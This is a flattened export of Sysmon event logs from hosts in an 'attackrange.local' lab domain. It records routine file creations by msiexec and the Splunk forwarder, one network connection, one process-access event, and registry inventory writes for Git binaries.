23542300x800000000000000035789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.871{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\O4I2YE29AG\System.ComponentModel.Composition.ni.dll.auxMD5=694406FEC9A4D3335D220AADB0FA8797,SHA256=45E44499273F3E2F07640B16480103FEAE49022794D70F6B761C1B8A7D283CFD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.871{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\O4I2YE29AG\System.ComponentModel.Composition.ni.dllMD5=0632FC2C8FE933134DC4039823BF7DDA,SHA256=65074EB6B679C8BEFA936EC373CCFDB9EAE1A71563936A3F77DDE751164D8143,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.824{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\NYU4M9NQO7\System.Drawing.ni.dll.auxMD5=AE1806558A5233CA0895E229CA9A5CDD,SHA256=BF8A1C5F9A51673F43C265FD747004440EA4B3BC1CE92378D2A9C6B197995F1D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.824{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\NYU4M9NQO7\System.Drawing.ni.dllMD5=FDBA63CB8F1C68D60D66AC4C25A52A2D,SHA256=9DFCA47793FC5BA5B8158ABB6E3487263E7967F0CD4533083D465AB38EA2018C,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.714{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\NVJRBVWD7A\System.Core.ni.dll.auxMD5=48FFD457B52D2283A43AAA2D8D7B2895,SHA256=529CDC113FC10D5542623FECA65BED08EF6A85D46AD9F372D32D25C91224FB54,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.714{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\NVJRBVWD7A\System.Core.ni.dllMD5=783B07F6DC4FEB9350CE7157E6240EA5,SHA256=A3CDC262830D14397834BF31D00E6F5179BFA6B9E570BD76C623E6033A0FF60D,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.371{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\NSCDQAJZZE\System.Data.ni.dll.auxMD5=CC9F9CB4F637C42741255EF17203B47C,SHA256=370A27D995B8AC7DEC609867B2B7BBEA89A465AB01320C77D7F8CB57793DC76B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.371{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\NSCDQAJZZE\System.Data.ni.dllMD5=4CE9DA541633C93EAE8D016C36CA6BF4,SHA256=08E8F1F9463152B6AABF02E6A7CB02A2DA4608AD745320837A9718B87B52AA29,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.339{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=99028A8592E4F9BD5383DE36046F77B2,SHA256=42776077032AA2F1591B39C47EB4B7FCD674EB28B9434080BCFF15F0EDE53F4F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013423Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:11.022{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E67C6429BE67F0366C3403800E6F6E15,SHA256=4C84149DA90468408BBDB771CF8997D916C9889967FE31474A62308E889F713F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.042{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\NO21KQA2HF\System.Configuration.Install.ni.dll.auxMD5=0CBC2C9737233F80F1C8DD57CE1AE88C,SHA256=6E18B2C2DFA32D6F4925D1BBE903FD9049472C36261FEBA8DD59628E8C6A9F30,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.042{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\NO21KQA2HF\System.Configuration.Install.ni.dllMD5=2582241664CA944A32E31176A66CF0C6,SHA256=B7C2F435943924E46E604D1D35C1835920CC706BF320D85179E53CA0F84354FF,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.027{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\NL4EC7YXBV\System.Data.ni.dll.auxMD5=EDB7CB075A217959013CD75CE405CCD2,SHA256=240A71F1AF20552B564ACE0F494BDFFCA2B3982D62D762D1E71E6E1535797972,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:11.027{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\NL4EC7YXBV\System.Data.ni.dllMD5=7ABB236413DDD5D4953BB3A2C663E53F,SHA256=D14A3A1F1851D9FD244CBF574F22A3B94B05FBBBC6147381E68F694AD59574E3,IMPHASH=00000000000000000000000000000000truetrue 354300x800000000000000035800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:10.428{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59190-false10.0.1.12-8000- 23542300x800000000000000035799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:12.761{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=372ED2E333573FDB6830A52AF2E5A46E,SHA256=A4B4B8B22D7AE41243BD36AA1C2188E74D524F80C472165AD263B027E5FD8C03,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:12.730{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\OOS41VYSH3\System.DirectoryServices.ni.dll.auxMD5=5BE283A9E68591B32773566F147A211F,SHA256=83CFFD1BAEA158353574578F2145C054F207526C8E544F114652C4EF01713BAB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:12.730{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\OOS41VYSH3\System.DirectoryServices.ni.dllMD5=8CE05080E8212D45575DB5EC52382363,SHA256=B2960982ADB25974561E8356470B1234CDEC00F5FDBAFDC39F221B37F914433E,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:12.683{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\OFVXZGR1VK\System.ni.dll.auxMD5=F5E454AFEA99BF074A1D3313654C9C7C,SHA256=15FFAD8EC46C0265F01EE5C5891650A8C1D7D481080057D01EC1F0B597D009F2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:12.683{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\OFVXZGR1VK\System.ni.dllMD5=D60796FB70D97A574714D0C77F93D97D,SHA256=A1C4314F753DA4EE230B0AB995A4F9EC872F35780174F6E060A1DF56EBBBD6EF,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:12.371{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D5D1BE468C2540F497A0952C3A06EE66,SHA256=2BC681C4B5072557DBDE450BADDAF1E9274DC0F5E8A1DA2DC7627169AFEEA01E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013424Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:12.038{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=77964EE68C26A90DA46D80CD74C5DD92,SHA256=F019DD82BCC7DD365C96205AB7C2F955E19007DDAAF1EAF56B7D0995C37D72D6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:12.152{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\OD8WEIQHVA\System.Transactions.ni.dll.auxMD5=799D1D6903AEF7B551CD4A4C6B265AA9,SHA256=EAE828D0DC70B8C0CADC0F2FB1EB4DAB7A5E36C371C4B8A27C807DE7C0974339,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:12.152{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\OD8WEIQHVA\System.Transactions.ni.dllMD5=8D18FAAB7987602078CF848438C95F88,SHA256=AB760B68DE4E3D55C85FBC48423AC7C47C8A8C34FC3964E0473DA960D0BC3C5D,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:12.136{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\O8XCWSNQV8\System.Core.ni.dll.auxMD5=EB3705BF415BBFABE3EEF435BB9CAADD,SHA256=19E4BFB51F3918297F82E34403F9F1935B17BBC2A78E6C4247D6089C94C8BF15,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:12.136{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\O8XCWSNQV8\System.Core.ni.dllMD5=D34A762C6315A7E500BD3DC88FEDD43D,SHA256=80E62A15C9EB0FAB896B1D0A216D1C3AB4C103B8F957DB46C14E6DD9614D43FC,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.699{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\PC4QJUM510\System.Numerics.ni.dll.auxMD5=46C8A979AD3266DDEF725C7E593B0EC9,SHA256=44F41AE20DFD28ABE6EE0E04898C519AD9709FA50D948409B2ECD81BB20D3D37,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.683{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\PC4QJUM510\System.Numerics.ni.dllMD5=63A9B260BCFCC94E75F0B012DE2B32EF,SHA256=3BFD410197EBDCE1914F9CA077D5B2BE75A664A54D5D9B05169694327EC86CE3,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.683{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\P5RBFV7DTM\System.Management.ni.dll.auxMD5=9E113C3F173739443B36B19DD5C6669B,SHA256=E6D1A62EA7C191912AA011D805E8000EE89FE7281E888EF7A398F4FBA9AC4182,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.683{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\P5RBFV7DTM\System.Management.ni.dllMD5=545B093E8C7408982436090E8E13BA3C,SHA256=CFFD545D318D02B523B06E28AFD09A3649D013965B45986CFCAEE54A07AF0C1A,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.636{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\P3LFTWOA7M\System.Core.ni.dll.auxMD5=0B7B3547A6755335583D2C975D27717F,SHA256=CB5ECB0625E0E2D5C2A864279FFAFC96048F0E10B0A47437B6CA6D8FA2DAE6E9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.636{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\P3LFTWOA7M\System.Core.ni.dllMD5=90F0732AF7D2F9207DEA5BD7ECAD33B0,SHA256=C929FD867AE7413965067562351E1DFA8D05721D5A6151A3B575EB94B970F923,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.417{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4194144F61898BBF857C117ED3671C0E,SHA256=2DF7B9136FA8B800D7320BD3ADA1EF5081210B5D45909C1C1B2444C398F147B6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013425Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:13.085{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=98B13B6C3D9B809E4DA46608AE1D2DE0,SHA256=7554D079BC115C5F68652937CCCEBB7DEF9CBF680BE7DC684343CF4167ABE7C9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.261{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\P1WYFUDXSN\System.Security.ni.dll.auxMD5=74E5478F4A51B682700233CD6B7C05DC,SHA256=4BC93A21F6F5BE0B8E4ACFB6F96A6F3B1444A8310826E2CCC4DD8862E4D6F3E3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.261{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\P1WYFUDXSN\System.Security.ni.dllMD5=D518D6481A2B6037B8E61101718E6EB3,SHA256=154839515F16941BB2AB2FF9716A5CBCA5FECCD9CEAF9D0D51BA9797F3B98721,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.246{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\P0RK1OW14J\System.Configuration.ni.dll.auxMD5=F07B09293E0492E71E96C7A764BB524D,SHA256=A24285135DCD60675A12C5E36DF5B3FD7AEEEACFD305973C262A0C73053C7703,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.246{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\P0RK1OW14J\System.Configuration.ni.dllMD5=B0386808CBC978446F0D8638C53F9F02,SHA256=7E05166D981CF6FA3157EE088305E2B901B9721FCED6370E9D1CE7511A71AC64,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000035803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.167{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\OXYH1ETAXY\System.Core.ni.dll.auxMD5=5DCD12C73B9F94AD86DD5CCFF0961B76,SHA256=F48412CADA48829BCA494224CE73B46166853194748E6A93117C35D3A388A473,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000035802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.167{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\OXYH1ETAXY\System.Core.ni.dllMD5=0AA216B359BB985E91C06D6CEC347EF2,SHA256=5EDE9B67C3A3A41FCC240B0D7F27764343BD8C1BB1EAC39F441E00C6E5066C92,IMPHASH=00000000000000000000000000000000truetrue 10341000x800000000000000035801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:13.089{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000036425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fetch.exe|26836f160b2136d8\BinProductVersion2.33.0.2 13241300x800000000000000036424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fetch.exe|26836f160b2136d8\LinkDate08/24/2021 10:09:53 13241300x800000000000000036423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fetch.exe|26836f160b2136d8\Publisherthe git development community 13241300x800000000000000036422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fetch.exe|26836f160b2136d8\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-fetch.exe 13241300x800000000000000036421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fetch-pack.e|eaa13da8b960bb8f\BinProductVersion2.33.0.2 13241300x800000000000000036420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fetch-pack.e|eaa13da8b960bb8f\LinkDate08/24/2021 10:09:53 13241300x800000000000000036419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fetch-pack.e|eaa13da8b960bb8f\Publisherthe git development community 13241300x800000000000000036418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fetch-pack.e|eaa13da8b960bb8f\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-fetch-pack.exe 13241300x800000000000000036417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fast-import.|6e2bb2de2d0c9142\BinProductVersion2.33.0.2 13241300x800000000000000036416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fast-import.|6e2bb2de2d0c9142\LinkDate08/24/2021 10:09:53 13241300x800000000000000036415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fast-import.|6e2bb2de2d0c9142\Publisherthe git development community 13241300x800000000000000036414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fast-import.|6e2bb2de2d0c9142\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-fast-import.exe 13241300x800000000000000036413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fast-export.|a89216de984913cf\BinProductVersion2.33.0.2 13241300x800000000000000036412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fast-export.|a89216de984913cf\LinkDate08/24/2021 10:09:53 13241300x800000000000000036411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fast-export.|a89216de984913cf\Publisherthe git development community 13241300x800000000000000036410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fast-export.|a89216de984913cf\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-fast-export.exe 13241300x800000000000000036409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-env--helper.|2c74ba6e4fc1d4ec\BinProductVersion2.33.0.2 13241300x800000000000000036408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-env--helper.|2c74ba6e4fc1d4ec\LinkDate08/24/2021 10:09:53 13241300x800000000000000036407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-env--helper.|2c74ba6e4fc1d4ec\Publisherthe git development community 13241300x800000000000000036406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-env--helper.|2c74ba6e4fc1d4ec\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-env--helper.exe 